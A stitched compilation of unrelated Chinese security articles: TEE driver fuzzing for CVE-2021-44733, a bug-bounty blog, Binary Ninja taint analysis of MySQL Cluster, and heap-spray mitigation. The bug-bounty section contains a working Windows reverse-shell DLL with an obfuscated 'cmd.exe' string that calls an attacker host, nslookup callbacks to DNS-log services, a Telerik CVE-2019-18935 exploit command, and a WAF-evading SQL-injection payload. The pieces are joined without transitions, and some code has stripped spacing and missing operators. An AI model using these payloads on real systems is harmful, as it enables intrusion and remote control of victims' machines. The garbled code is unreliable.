The normal world 包括Linux 用戶空間和內核空間,可以使用客戶端應用程序(CA) 和TEE 子系統公開的API 與這些應用程序交互。 CA 可以向特定TA 打開會話並調用TA 實現的功能。在TA 和CA 之間來回傳遞任何參數都是使用共享內存完成的。接下來描述使用所有相關係統調用的CA 和TA 之間的交互。

1、CA 打開/dev/tee[0-9]以與驅動程序通信。對於使用這些API 的傳統方式,這是使用libteec 隱式完成的。

2、CA 可以使用IOCTL TEE_IOC_SHM_ALLOC。這將分配共享內存並返回一個文件描述符,用戶空間可以將其用作mmap 的一部分。

3、下一步是使用IOCTL TEE_IOC_OPEN_SESSION和指定特定TA 的uuid建立會話。這個uuid 在TA 的編譯過程中是硬編碼的。

4、為了調用TA 中的特定函數,CA 通過指定函數的標識符以及輸入參數來調用該函數,這裡使用的是TEE_IOC_INVOKE。

5、當CA 完成所有請求後,可以使用TEE_IOC_CLOSE_SESSION關閉會話。

image.png

圖2:CA 和TA 之間的會話

客戶端和TEE 之間的大部分通信對驅動程序來說是不透明的。驅動程序的主要工作是管理上下文、接收來自客戶端的請求、將它們轉發到TEE 並將結果發回。

0x02 對TEE 驅動器的模糊測試CVE-2021-44733 是使用syzkaller 模糊測試發現的,下面提供了相關的描述文件。 ioctl$TEE_SHM_REGISTER_FD只是Linaro內核樹的一部分,根據syzkaller 文檔正確配置後,“Setting up the environment”中提供的環境就可以用於模糊測試了。

#include

resourcefd_tee0[fd]

resourcesession_resource[int32]

openat$tee0(fdconst[AT_FDCWD],devptr[in,string['/dev/tee0']],flagsflags[open_flags],modeflags[open_mode])fd_tee0

ioctl$TEE_OPEN_SESSION(fdfd_tee0,cmdconst[0x8010a402],argptr[inout,tee_ioctl_buf_data_session])

ioctl$TEE_INVOKE(fdfd_tee0,cmdconst[0x8010a403],argptr[inout,tee_ioctl_buf_data_invoke])

ioctl$TEE_CANCEL(fdfd_tee0,cmdconst[0x8008a404],argptr[in,tee_ioctl_buf_data_cancel])

ioctl$TEE_CLOSE_SESSION(fdfd_tee0,cmdconst[0x8004a405],argptr[in,tee_ioctl_buf_data_close])

ioctl$TEE_VERSION(fdfd_tee0,cmdconst[0x800ca400],argptr[out,tee_ioctl_buf_data_version])

ioctl$TEE_SHM_ALLOC(fdfd_tee0,cmdconst[0xc010a401],argptr[inout,tee_ioctl_buf_data_shm_alloc])

ioctl$TEE_SHM_REGISTER(fdfd_tee0,cmdconst[0xc018a409],argptr[inout,tee_ioctl_buf_data_shm_register])

ioctl$TEE_SHM_REGISTER_FD(fdfd_tee0,cmdconst[0xc018a408],argptr[inout,tee_ioctl_buf_data_shm_register_fd])

ioctl$TEE_SUPPL_RECV(fdfd_tee0,cmdconst[0x8010a406],argptr[inout,tee_ioctl_buf_suppl_recv])

ioctl$TEE_SUPPL_SEND(fdfd_tee0,cmdconst[0x8010a407],argptr[inout,tee_ioctl_buf_suppl_send])

#COMMON

#=======================================================

defineTEE_IOCTL_UUID_LEN16

tee_ioctl_param_struct{

attrflags[TEE_IOCTL_PARAM_ATTR_TYPE,int64]

aint64

bint64

cint64

}

TEE_IOCTL_PARAM_ATTR_TYPE=0,1,2,3,5,6,7

TEE_LOGIN=0,1,2,4,5,6

#OPENSESSION

#=======================================================

tee_ioctl_buf_data_session{

buf_ptrptr64[inout,tee_ioctl_open_session_struct]

buf_lenlen[buf_ptr,int64]

}

tee_ioctl_open_session_struct{

uuidarray[int8,TEE_IOCTL_UUID_LEN](in)

clnt_uuidarray[int8,TEE_IOCTL_UUID_LEN](in)

clnt_loginflags[TEE_LOGIN,int32](in)

cancel_idint32(in)

sessionsession_resource(out)

retint32(out)

ret_originint32(out)

num_paramslen[params,int32](in)

paramsarray[tee_ioctl_param_struct](in)

}

#INVOKE

#=======================================================

tee_ioctl_buf_data_invoke{

buf_ptrptr64[inout,tee_ioctl_invoke_struct]

buf_lenlen[buf_ptr,int64]

}

tee_ioctl_invoke_struct{

funcint32(in)

sessionsession_resource(in)

cancel_idint32(in)

retint32(out)

ret_originint32(out)

num_paramslen[params,int32](in)

paramsarray[tee_ioctl_param_struct](in)

}

#CANCELSESSION

#=======================================================

tee_ioctl_buf_data_cancel{

cancel_idint32(in)

sessionsession_resource(in)

}

#CLOSESESSION

#=======================================================

tee_ioctl_buf_data_close{

sessionsession_resource(in)

}

#VERSION

#=======================================================

tee_ioctl_buf_data_version{

impl_idint32(out)

impl_capsint32(out)

gen_capsint32(out)

}

#SHMALLOC

#=======================================================

tee_ioctl_buf_data_shm_alloc{

sizeint64(inout)

flagsconst[0,int32](inout)

idint32(out)

}

#SHMREGISTER

#=======================================================

tee_ioctl_buf_data_shm_register{

addrint64(in)

lengthint64(inout)

flagsconst[0,int32](inout)

idint32(out)

}

#SHMREGISTERFD

#=======================================================

tee_ioctl_buf_data_shm_register_fd{

fdint64(in)

sizeint64(out)

flagsconst[0,int32](in)

idint32(out)

}[align[8]]

#SUPPLICANTRECV

#=======================================================

tee_ioctl_buf_suppl_recv{

funcint32(in)

num_paramslen[params,int32](inout)

paramsarray[tee_ioctl_param_struct](inout)

}

#SUPPLICANTSEND

#=======================================================

tee_ioctl_buf_suppl_send{

retint32(out)

num_paramslen[params,int32](in)

paramsarray[tee_ioctl_param_struct](in)

}模糊測試中的崩潰是由於持有互斥對象時task _ struct 的use-after-free 漏洞:

==================================================================

BUG:KASAN:use-after-freein__mutex_lock.constprop.0+0x118c/0x11c4

Readofsize4ataddr863b0714bytaskoptee_example_r/244

CPU:0PID:244Comm:optee_example_rTainted:GD5.14.0#151

Hardwarename:GenericDTbasedsystem

[](unwind_backtrace)from[](show_stack+0x20/0x24)

[](show_stack)from[](dump_stack_lvl+0x5c/0x68)

[](dump_stack_lvl)from[](print_address_description.constprop.0+0x38/0x304)

[](print_address_description.constprop.0)from[](kasan_report+0x1c0/0x1dc)

[](kasan_report)from[](__mutex_lock.constprop.0+0x118c/0x11c4)

[](__mutex_lock.constprop.0)from[](mutex_lock+0x128/0x13c)

[](mutex_lock)from[](tee_shm_release+0x4b0/0x6cc)

[](tee_shm_release)from[](dma_buf_release+0x1b8/0x2f0)

[](dma_buf_release)from[](__dentry_kill+0x4c4/0x678)

[](__dentry_kill)from[](dput+0x630/0xba4)

[](dput)from[](__fput+0x3b4/0x900)

[](__fput)from[](task_work_run+0x15c/0x230)

[](task_work_run)from[](do_exit+0x103c/0x3770)

[](do_exit)from[](do_group_exit+0x134/0x3ac)

[](do_group_exit)from[](get_signal+0x7d8/0x2f28)

[](get_signal)from[](do_work_pending+0x984/0x154c)

[](do_work_pending)from[](slow_work_pending+0xc/0x20)

Exceptionstack(0x85743fb0to0x85743ff8)

3fa0:00023108000000800000000000000000

3fc0:66bca2d066bca2d066bca2d0000000f066bca2d066bca340000000006ec00b0c

3fe0:66bc9cc866bc9cb80001165566c80c20000e013000023108

Allocatedbytask242:

set_alloc_info+0x48/0x50

__kasan_slab_alloc+0x48/0x58

kmem_cache_alloc+0x14c/0x314

copy_process+0x2014/0x7b18

kernel_clone+0x244/0xfc8

sys_clone+0xc8/0xec

ret_fast_syscall+0x0/0x58

0x6ec00a10

Freedbytask67:

kasan_set_track+0x28/0x30

kasan_set_free_info+0x20

      最近挖了一些漏洞。虽然重复了,但是有参考价值。这边给大家分享下。

  漏洞重复还是很难受的,转念一想,人生从不是事事如人意的,漏洞重复忽略,不代表失败。先来后到很重要,出场顺序很重要。

  1.某站rce 忽略理由:不在范围内 作者神父&me 感谢神父带我

  测试域名:https://***.***:8089/

  同时存在CVE-2017-11357 CVE-2019-18935 CVE-2017-9248漏洞

  漏洞利用exp下载地址:

  https://github.com/noperator/CVE-2019-18935
  https://github.com/noperator/CVE-2019-18935.git

  延迟11s:sleep 11s:

  测试代码: test.c

  

复制代码
#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
        //Sleep(10000);  // Time interval in milliseconds.
        Sleep(11000);
    return TRUE;
}


test.c编译成amd642.dll文件
复制代码

 

运行:
python CVE-2019-18935.py -v 2017.1.228 -p payloads\amd642.dll -u https://***.****:8089/Telerik.Web.UI.WebResource.axd?type=rau

 

ltgiots14ep14745.png

 

 

 

  p5m2bolqegc14746.png

 

 

 

 第一步验证成功,成功延迟11s左右,原始请求2s

  测试命令执行:

  

复制代码
#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
        system("cmd.exe /c nslookup rsmwe.dnslog.cn");
system("cmd.exe /c nslookup 2pstpep28u6vl9qrw0lhjwsr9if83x.burpcollaborator.net");
    return TRUE;
}

test.c编译成amd642.dll文件

 
复制代码

 

再次运行查看dnslog:

 13odfbagweg14749.png

 

 

 

 

 

直接反弹shell,通用exp:

复制代码
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

#define HOST "{vps ip}"
#define PORT {port}

WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char aip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

// Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.c
void ReverseShell()
{
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    
    struct hostent *host = gethostbyname(HOST);
    strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
    
    hax.sin_family = AF_INET;
    hax.sin_port = htons(PORT);
    hax.sin_addr.s_addr = inet_addr(aip_addr);
    
    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
    if (WSAGetLastError() == 0) {

        memset(&ini_processo, 0, sizeof(ini_processo));

        ini_processo.cb = sizeof(ini_processo);
        ini_processo.dwFlags = STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

        char *myArray[4] = { "cm", "d.e", "x", "e" };
        char command[8] = "";
        snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
    }
}

DWORD WINAPI MainThread(LPVOID lpParam)
{
    ReverseShell();
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) 
{
    HANDLE hThread;

    if (fdwReason == DLL_PROCESS_ATTACH)
        hThread = CreateThread(0, 0, MainThread, 0, 0, 0);

    return TRUE;
}
复制代码

 

权限不低,是域用户:

gqlfojaopq014752.png

 

 

 

  2.sql注入:

   背景介绍:朋友发来一个注入,这个注入还挺棘手的,有xx云的waf,并且后端过滤了逗号,单双引号以及常规函数等。  

  我的思路很简单,十六进制。regexp函数即可,我觉得应该还有别的思路

(case+when+current_user+regexp+0x*+then+1+else+2*1e308+end)

  这样就把数据库user搞出来了。

  这里我想说下case when这个语句,case when语句比我们想象的要灵活的多,这里做下笔记说下:

  最常见的:

  q1k2wlkumbe14753.png

 

 

  说点不常见的,我写两个demo,可以一直套娃下去:

case 1=1 when 2=2 then 1=1 else 1/0 end

 

 

 

 

  fjmlkh30fjv14755.png

 

 

 

 

 

  w3ve3mr3por14756.png

 

 

 

 

 

  3.url跳转+身份认证token泄漏:

  我昨天晚上挖的,忽略理由是重复。有时候对某些厂商还挺无语的,漏洞在那边,不修复。让我有种错觉,发现漏洞,有种踩到蜜罐的错觉。

  资产范围是:vc-*.xxx.com

  其实遇到这种范围,我还挺开心的,因为我可以Fuzz下,简单Fuzz了下,发现不少资产。

  挨个打开看,访问:vc-ss.xxx.com,访问站点,直接跳转要求登录。

  我不是神仙,我也没账号,我看着js,没发现可访问的路径信息。

  开始fuzz,知道是php就很好办了。使用ffuf跑php/api字典,跑到了一个接口开发文档/api/***.html

  接口开发文档设计本意是好的,但是大多数的接口开发文档上的截图信息/接口信息都可能有被二次漏洞利用风险。虽然截图信息都是明文,但是很不幸的是测试了下,发现几乎所有的接口,直接访问都是401,需要身份认证。些许无奈了,想放弃的时候,总是告诉自己,坚持看完看仔细。继续盯着接口文档一直翻来翻去,发现了一个身份token泄漏和其他一些安全漏洞。

  整理漏洞提交了,早上就收到了重复的消息:

  2vqyg4amrco14757.png

 

 



  原文链接: https://www.cnblogs.com/piaomiaohongchen/p/17130283.html

在上文中,我們為讀者介紹了污點源的定義等靜態污點分析方面的知識,在本文中,我們將繼續為讀者演示如何處理來自多個污染源的SSA變量的約束等技巧。

(接上文)

對來自多個污染源的SSA變量的約束在進行污染傳播時,如果有任何源變量被污染,包括PHI函數,我們就將目標變量標記為污染變量。在第二階段的過濾過程中,如果一個變量受到約束,我們會將約束應用於所有相關變量。但是,當派生變量(子變量)來自一個以上的獨立污點源(父變量),並且只有一個父變量被驗證,那麼,子變量也被認為被驗證過了。但這種做法是不可取的。考慮一下下面的例子:

1.png

假設x和y來自兩個獨立的污點源,而index是兩者之和,因此,它是一個派生變量。當x被驗證後,由於y沒有被驗證,所以,index仍然可能被污損——但是,之前的算法沒有考慮到這一點。

為了解決這個問題,我考慮將每個派生的污點變量與實際的源變量聯繫起來,稱為根變量,並維護每個根變量的def-use鏈副本。例如,變量index#3有兩個根變量:x#0和y#0變量。對於每個根變量,都利用與變量index#3相關的污點信息來維護一份可達塊的副本。當x#1變量被驗證時,只有變量index#3的副本x#0被標記為不可達,而副本y#0仍被視為污染變量。我們可以通過變量的依賴圖來表示這些關係。

使用依賴圖確定SSA變量之間的關係在變量依賴關係圖中,函數中的任何污點變量都被表示為一個節點。當一個變量來自另一個變量時,就形成了一條從父變量(節點)到子變量(節點)的有向邊。

為了建立變量之間的關係,使用get_ssa_var_definition()訪問所有污點變量的定義位置(definition site)。當MLIL表達式中的任何一個源變量被污染時,在圖中創建一個邊連接。由於在MLIL_LOAD_SSA操作中被污染的變量沒有父節點或傳入的邊,因此,它們就成為了根節點。

這樣的依賴關係圖通常存在許多弱連接的組件,因為加載自受污染的內存區的每一段內存都將被分配給一個新的變量,對應於圖中一個新節點。簡單地說,每個內存加載都會和它的派生變量一起創建一個子圖。當變量派生自多個根節點時,相應的子圖可能會與另一個子圖連接。下面是一個來自函數Dbtux:execTUX_ADD_ATTRREQ()的示例依賴關係圖:

1.png

另一個需要注意的屬性是,依賴關係圖不一定是有向無環圖(DAG)。這是因為循環可能是通過PHI函數中變量的循環依賴關係引入的。請考慮以下循環操作的SSA表示形式:

1.png

此處,counter#2的值取決於counter#1或counter#4,這是一個PHI函數,前置塊決定函數的結果。在循環的下方,counter#4依賴於counter#2。這種關係將在依賴關係圖中表示為一個循環。

生成依賴關係圖後,很容易獲得與任何受污染變量關聯的根變量。此外,還可以獲取任何給定變量的子變量和父變量來處理傳遞關係。現在唯一缺少的部分是沒有表示出受污染的信息是如何向前傳播到其他函數的。

靜態函數鉤子與過程間污點傳播一旦完成對當前函數的分析,所有帶有污染參數的MLIL_CALL_SSA和MLIL_TAILCALL_SSA指令都將被處理。對於具有已知目的地(例如,MLIL_CONST_PTR)的任何調用指令,都會提取符號以檢查靜態鉤子,具體見下面的示例代碼:

forexpr,callee_varsinself.callee.items():

ifexpr.dest.operation==MediumLevelILOperation.MLIL_CONST_PTR:

symbol=self.bv.get_symbol_at(expr.dest.constant)

forfuncinconfig.function_hooks:

ifsymbolandfuncinsymbol.name:

self.visit_function_hooks(expr,func,callee_vars)

break

else:

dest=expr.dest.constant

args=self.get_args_to_pass(expr,callee_vars)

callee_trace=MLILTracer(self.bv,dest)

callee_trace.set_function_args(args)

callee_trace.trace()靜態鉤子是處理函數的程序——與其他函數相比,我們打算以不同的方式處理這些函數。對libc函數memcpy的調用來說,無需進行污染傳播,相反,我們只對檢查受污染的大小、源或目標參數感興趣。為了向分析器提供這些信息並進行相應的配置,我們將使用具有函數名稱和參數的JSON配置,具體如下所示:

{

'memset':['arg0','arg1','arg2'],

'bzero':['arg0','arg1'],

'bcopy':['arg1','arg2'],

'memcpy':['arg0','arg1','arg2'],

'memmove':['arg0','arg1','arg2'],

'strncpy':['arg0','arg1','arg2'],

'strlcpy':['arg0','arg1','arg2']

}要檢查的參數從0開始索引。對於memcpy函數來說,所有3個參數都被標記為需要進行分析。與JSON配置中提供的參數索引相關的SSA變量,都需要進行污染檢驗。例如,配置文件中的arg2將映射到一個與memcpy函數的size參數相關的SSA參數變量:

defget_var_for_arg(self,expr,arg):

params=expr.params

argno=lambda_arg:int(_arg.split('arg').pop())

ifargno(arg)len(params):

param=params[argno(arg)]

ifparam.operationinoperations.MLIL_GET_VARS:

returnparam.vars_read[0]

defvisit_function_hooks(self,expr,func,tainted_vars):

args=config.function_hooks[func]

forarginargs:

ssa_var=self.get_var_for_arg(expr,arg)

ifssa_varintainted_vars:

logging.info('Potentialcontrolledargsincallto%s@0x%lx%s%s',func,expr.address,expr,self.get_stack_trace())靜態鉤子也可用於標記要被污染和進一步傳播的函數的輸出變量或返回值。但是,由於未考慮特定於函數的相關細節,因此,目前尚未實現該功能。必要時,可以重用MLIL_SET_VAR_SSA操作的visitor處理程序,以在CALL操作期間實現反向污染傳播。對於沒有鉤子的任何其他函數,可以通過將目標函數的變量標記為已污染來傳播污染信息。

defset_function_args(self,funcargs):

forarg,valueinfuncargs.items():

#BNfunction.parameter_varsisbuggy#2463

forvarinself.function.vars:

ifvar.name==arg:

ssa_var=SSAVariable(var,0)

ifself.is_pointer(value):

self.source_vars[ssa_var]=value

elifself.is_tainted(value):

self.tainted_vars[ssa_var]=value通過可達塊跟踪漏洞一旦污點傳播和過濾階段結束,分析的最後一個階段就是遍歷所有污點變量,並檢查潛在洩漏點(sink)的可達塊。根據已經報告的漏洞,我將查找目標定為涉及越界(OOB)內存訪問、函數調用API(如memcpy)期間的緩衝區溢出、不可信的指針輸入以及受污染的循環計數器的漏洞。本節的其餘部分將詳細介紹其他檢測策略。

OOB讀寫MySQL Cluster中的大多數漏洞都是OOB讀寫相關的內存訪問漏洞,這些是由於缺少對不可信數組索引的驗證所致。為了檢測這些漏洞,我們可以將任何MLIL_LOAD_SSA或MLIL_STORE_SSA視為洩漏點。以下是來自DBDIH:execget_latest_gci_req()的示例代碼:

Signal*arg2{Registerrsi}

int64_targ1{Registerrdi}

Dbdih:execGET_LATEST_GCI_REQ:

0@005b4b24rax#1=zx.q([arg2#0+0x28].d@mem#0)

1@005b4b27rax_1#2=zx.q([arg1#0+(rax#12)+0x9b784].d@mem#0)

2@005b4b2e[arg2#0+0x28].d=rax_1#2.eax@mem#0-mem#1

3@005b4b32returnrax_1#2

current_function.get_low_level_il_at(0x5b4b27).mlil.ssa_form.src.srcil:[arg1#0+(rax#12)+0x9b784].d@mem#0current_function.get_low_level_il_at(0x5b4b27).mlil.ssa_form.src.src.operation

current_function.get_low_level_il_at(0x5b4b27).mlil.ssa_form.src.src.vars_read

[ssa在這裡,rax#1是已污染的,因此,使用MLIL_LOAD_SSA的讀操作可以被認為是一個OOB讀條件。類似地,考慮一下來自Thrman:execOVERLOAD_STATUS_REP()的另一個案例:

Signal*arg2{Registerrsi}

void*arg1{Registerrdi}

Thrman:execOVERLOAD_STATUS_REP:

0@0078415fr14#1=arg2#0

1@00784162r15#1=arg1#0

2@00784165rax#1=zx.q([arg2#0+0x28].d@mem#0)

3@00784168rcx#1=[arg2#0+0x2c].d@mem#0

4@0078416b[arg1#0+(rax#13)+0x3ca0].d=rcx#1@mem#0-mem#1

current_function.get_low_level_il_at(0x78416b).mlil.ssa_formil:[arg1#0+(rax#13)+0x3ca0].d=rcx#1@mem#0-mem#1

current_function.get_low_level_il_at(0x78416b).mlil.ssa_form.operation

current_function.get_low_level_il_at(0x78416b).mlil.ssa_form.dest.vars_read

[ssa在這裡,rax#1再次受到污染,因此,使用MLIL_STORE_SSA的寫入操作可以被視為OOB寫入條件。

API緩衝區溢出靜態函數鉤子可用於檢測由於傳遞給memcpy、memmove等函數的參數缺乏驗證而導致的緩衝區溢出漏洞。有關此問題的詳細信息已經在上面的“靜態函數鉤子與過程間污染傳播”一節中進行了詳細的說明。簡單來說,只要掛鉤函數的任何我們感興趣的參數受到了污染,我們就會將其記錄為潛在漏洞。

不可信的指針解引用在某些情況下,我注意到MySQL Cluster會將不可信的輸入轉換為指針,然後進行指針解引用。為了識別這種漏洞,我們可以藉助於Binary Ninja的類型信息。 MLIL變量對像有一個Type屬性,用於返回與變量相關的Type對象。一個Type對象的類型可以用type_class屬性來訪問。這裡的模型是,污點源指向Signal結構中的一個污點內存區域,而目標變量是PointerTypeClass類型的。 Type對像還有一個confidence屬性,具體如下圖所示:

current_function.get_low_level_il_at(here).mlil.ssa_form

current_function.get_low_level_il_at(here).mlil.ssa_form.destcurrent_function.get_low_level_il_at(here).mlil.ssa_form.dest.var

current_function.get_low_level_il_at(here).mlil.ssa_form.dest.var.type

current_function.get_low_level_il_at(here).mlil.ssa_form.dest.var.type.type_class

current_function.get_low_level_il_at(here).mlil.ssa_form.dest.var.type.confidence

255對於變量類型來說,confidence的最大值為255。為減少誤報,分析器僅考慮具有最大置信度的類型信息。

if(dest.var.type.type_class==TypeClass.PointerTypeClass

anddest.var.type.confidence==255andexpr.src.operation==MediumLevelILOperation.MLIL_LOAD_SSA):

instr=self.function_mlilssa[expr.instr_index]

logging.info('Potentialuntrustedpointerload@0x%lx%s%s',expr.address,instr,self.get_stack_trace())循環中的污點控制流操作我們知道,依賴於受污染變量的某些循環終止條件會導致我們感興趣的漏洞。然而Binary Ninja的MLIL並沒有提供關於循環的信息,因此,替代方案是通過HLIL來檢測受污染的循環條件。比如,Cmvmi:execEVENT_SUBSCRIBE_REQ()中循環語句的HLIL如下所示:

/*0050516b*/do

/*0050516b*/uint64_trsi_7=zx.q(*(r12+(rcx_32)+0x30))

/*00505170*/if(rsi_7u0x10]=rsi_7.b

/*00505184*/rdx_5=*(r12+0x2c)

/*00505160*/rcx_3=rcx_3+1

/*00505160*/while(rcx_3uzx.q(rdx_5))這裡的問題是,我們已經使用MLIL實現了整個污點傳播,而Binary Ninja卻無法提供MLIL和HLIL之間的映射。因此,即使可以檢測到循環,也需要知道受污染的MLIL變量是否映射到循環條件中使用的HLIL變量。

不過,倒是存在一個變通方法,即HLIL指令具有一個條件屬性,該屬性可以用來獲取與循環關聯的條件語句,而這個條件語句的地址可以映射到相應的MLIL_IF指令。

exprHLIL_DO_WHILE:dowhile(rcx_3uzx.q(rdx_5))expr.conditionHLIL_CMP_ULT:rcx_3uzx.q(rdx_5)expr.operation

hex(expr.condition.address)

'0x505169'

current_function.get_low_level_il_at(here).mlil.ssa_form

hex(current_function.get_low_level_il_at(here).mlil.ssa_form.address)

'0x505169'因此,如果任何一條MLIL_IF指令被污染,並且是HLIL循環條件的一部分,那麼分析器就會將其記錄為一個潛在的漏洞。

關於支配關係的實驗支配關係提供了關於基本塊執行順序的相關信息。如果所有通向Y的路徑都要經過X,那麼,我們就可以說基本塊X支配著另一個基本塊Y。

1.png

在所提供的圖中,節點B支配著節點C、D、E和F,因為通往這些節點的所有路徑必須經過節點B。因此,被節點B支配的全部節點集包括B、C、D、E和F節點。此外,還有一個相關的概念叫做嚴格支配方,它並不考慮可疑的節點。因此,被節點B嚴格支配的所有節點的集合包括節點C、D、E和F。

Binary Ninja的BasicBlock對象具有dominators和strict_dominators屬性,提供關於函數中支配關係的相關信息。

1.png

current_function.mlil.ssa_form.basic_blocks

[

current_function.mlil.ssa_form.basic_blocks[2].dominators

[

current_function.mlil.ssa_form.basic_blocks[2].strict_dominators

[那麼,我們該如何利用Binary Ninja中可用的dominance屬性來處理污染約束,而不是通過networkx包中的圖可達性算法來處理這個問題呢?

將約束映射到支配塊為了檢查一個SSA變量的def-use鏈中的所有基本塊是否可達,我們可以遵循以下步驟:

查找與該變量關聯的所有約束塊。

使用def-use鏈獲取所有引用該變量的基本塊。

對於每個基本塊,檢查它是否被約束塊嚴格支配。如果是,則該變量被認為是該基本塊的有效變量,並且被認為是不可達的。

1.png

回到同一個示例,索引在中得到驗證,而它又是的支配方。因此,通過檢查支配方的約束塊,就可以確定可達性

為您的軟件建立強大的安全性至關重要。惡意行為者不斷使用各種類型的惡意軟件和網絡安全攻擊來破壞所有平台上的應用程序。您需要了解最常見的攻擊並找到緩解它們的方法。

本文不是關於堆溢出或堆利用的教程。在其中,我們探討了允許攻擊者利用應用程序中的漏洞並執行惡意代碼的堆噴射技術。我們定義什麼是堆噴射,探索它的工作原理,並展示如何保護您的應用程序免受它的影響。

什麼是堆噴射技術,它是如何工作的?堆噴射是一種用於促進執行任意代碼的漏洞利用技術。這個想法是在目標應用程序中的可預測地址上提供一個shellcode,以便使用漏洞執行這個shellcode。該技術是由稱為heap spray的漏洞利用源代碼的一部分實現的。

在實現動態內存管理器時,開發人員面臨許多挑戰,包括堆碎片。一個常見的解決方案是以固定大小的塊分配內存。通常,堆管理器對塊的大小以及分配這些塊的一個或多個保留池有自己的偏好。堆噴射使目標進程連續地逐塊分配所需內容的內存,依靠將shellcode 放置在所需地址的分配之一(不檢查任何條件)。

堆噴射本身不會利用任何安全問題,但它可用於使現有漏洞更容易被利用。

必須了解攻擊者如何使用堆噴射技術來了解如何緩解它。以下是普通攻擊的樣子:

image.png

堆噴射如何影響進程內存

堆噴射攻擊有兩個主要階段:

1.內存分配階段。一些流連續分配大量具有相同內容的固定大小的內存塊。

2.執行階段。這些堆分配之一接收對進程內存的控制。

如您所見,堆噴射漏洞利用技術看起來像連續的垃圾郵件,形式為大小相同且內容相同的塊。如果堆噴射攻擊成功,控制權將傳遞給這些塊之一。

為了執行這種攻擊,惡意行為者需要有機會在目標進程中分配大量所需大小的內存,並用相同的內容填充這些分配。這個要求可能看起來過於大膽,但最常見的堆噴射攻擊案例包括破壞Web 應用程序漏洞。任何支持腳本語言的應用程序(例如,帶有Visual Basic 的Microsoft Office)都是堆噴射攻擊的潛在受害者。

因此,在一個流的上下文中預期攻擊是有意義的,因為腳本通常在單個流中執行。

但是,攻擊者不僅可以使用腳本語言執行堆噴射攻擊。其他方法包括將圖像文件加載到進程中,並通過使用HTML5 引入的技術以非常高的分配粒度噴射堆。

這裡的問題是哪個階段可疑,我們可以乾預並試圖弄清楚是否存在正在進行的攻擊?

內存分配階段,當一些流填滿大量內存時,已經很可疑了。但是,您應該問自己是否可能存在誤報。例如,您的應用程序中可能存在確實在一個循環中分配內存的腳本或代碼,例如數組或特殊內存池。當然,腳本在完全相同的堆塊中分配內存的可能性很小。但是,它仍然不是堆噴射的關鍵要求。

相反,您應該注意執行階段,因為分析接收進程內存控制權的堆分配總是有意義的。因此,我們的分析將特別關注包含潛在shellcode 的分配內存。

為了將堆噴射shellcode 的執行與普通JIT代碼生成區分開來,您可以分析分配某個內存塊的最新流分配,包括流中的相鄰分配。請注意,堆中的內存始終分配有執行權限,這允許攻擊者使用堆噴射技術。

堆噴射緩解基礎知識為了成功緩解堆噴射攻擊,我們需要管理接收內存控制的過程,應用鉤子,並使用額外的安全機制。

保護您的應用程序免受堆噴射執行的三個步驟是:

1.攔截NtAllocateVirtualMemory調用

2.在嘗試分配可執行內存期間使其無法執行

3.註冊結構化異常處理程序(SEH) 以處理由於執行不可執行內存而發生的異常

現在讓我們詳細探討每個步驟。

接收對內存的控制我們既需要監控目標進程如何分配內存,又需要檢測動態分配內存的執行情況。後者假設在堆噴射期間分配的內存具有執行權限。如果數據執行保護( DEP ) 處於活動狀態(對於x64,默認情況下始終處於活動狀態)並且嘗試執行沒有執行權限分配的內存,則會生成異常訪問衝突。

惡意shellcode 可以預期在沒有DEP 的應用程序中執行(這不太可能),或者使用腳本引擎在默認情況下具有執行權限的堆中分配內存。

我們可以通過攔截可執行內存的分配並以分配它的漏洞無法察覺的方式使其不可執行來防止惡意代碼的執行。因此,當漏洞利用認為噴射是安全的執行並嘗試將控制權委託給噴射的堆時,將觸發系統異常。然後,我們可以分析這個系統異常。

首先,讓我們從用戶模式進程的角度來探索Windows 中的內存工作是什麼樣的。以下是通常分配大量內存的方式:

image.png

在哪裡:

马云惹不起马云 HeapAlloc和RtlAllocateHeap是從堆中分配一塊內存的函數。

马云惹不起马云NtAllocateVirtualMemory是一個低級函數,它是NTDLL 的一部分,不應直接調用。

马云惹不起马云sysenter是用於切換到內核模式的處理器指令。

如果我們設法替換NtAllocateVirtualMemory,我們將能夠攔截進程內存中的堆分配流量。

應用掛鉤為了攔截目標函數NtAllocateVirtualMemory的執行,我們將使用mhook 庫。您可以選擇原始庫或改進版本。

使用mhook 庫很容易:您需要創建一個與目標函數具有相同簽名的鉤子,並通過調用Mhook_SetHook來實現它。鉤子是通過在函數體上使用jmp指令覆蓋函數prolog來實現的。如果您已經使用過鉤子,那麼您應該沒有任何困難。

安全機制有兩種安全機制可以幫助我們緩解堆噴射攻擊:數據執行預防和結構化異常處理。

結構化異常處理或SEH是一種特定於Windows 操作系統的錯誤處理機制。當發生錯誤(例如,除以零)時,應用程序的控制權被重定向到內核,內核會找到一系列處理程序並逐個調用它們,直到其中一個處理程序將異常標記為“已處理”。通常,內核將允許流程從檢測到錯誤的那一刻起繼續執行。

從進程的角度來看,DEP 看起來像是在內存執行時出現EXCEPTION_ACCESS_VIOLATION 錯誤代碼的SEH 異常。

對於x86 應用程序,我們有兩個陷阱:

DEP可以在系統參數中關閉。

马云惹不起马云 指向處理程序列表的指針存儲在堆棧中,它提供了兩個潛在的攻擊向量:處理程序指示器覆蓋和堆棧替換。

马云惹不起马云 在x64 應用程序中,不會出現這些問題。

